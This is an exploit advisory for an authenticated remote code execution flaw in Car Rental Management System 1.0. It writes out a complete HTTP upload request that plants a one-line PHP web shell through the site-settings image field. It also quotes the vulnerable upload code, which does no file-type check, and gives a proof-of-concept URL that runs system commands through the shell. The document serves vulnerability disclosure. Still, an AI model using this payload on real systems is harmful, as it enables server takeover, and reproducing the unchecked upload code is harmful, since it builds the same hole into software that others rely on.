Car Rental Management System 1.0 - Remote Code Execution (Authenticated)

# Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)
# Date: 2020-11.13
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Apache2 - Windows 10

Vulnerable param: img
-------------------------------------------------------------------------
POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------30709612614161811513297969444
Content-Length: 777
Origin: http://localhost
Connection: close
Referer: http://localhost/car_rental/admin/index.php?page=site_settings
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean

-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="name"

Car Rental Management System
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="contact"

+6948 8542 623
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="about"

content

-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="img"; filename="k.php"
Content-Type: application/octet-stream

<?php echo passthru($_GET['k']);?>
-----------------------------30709612614161811513297969444--


Source Code:

admin\admin_class.php:
--------------------------------------------------------------------
                if($_FILES['img']['tmp_name'] != ''){
                                                                                                                $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
                                                                                                                $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
                                                                                                                $data .= ", avatar = '$fname' ";

                                                }

--------------------------------------------------------------------

POC:
http://{site]/admin/assets/uploads/{FILE}.php?k=whoami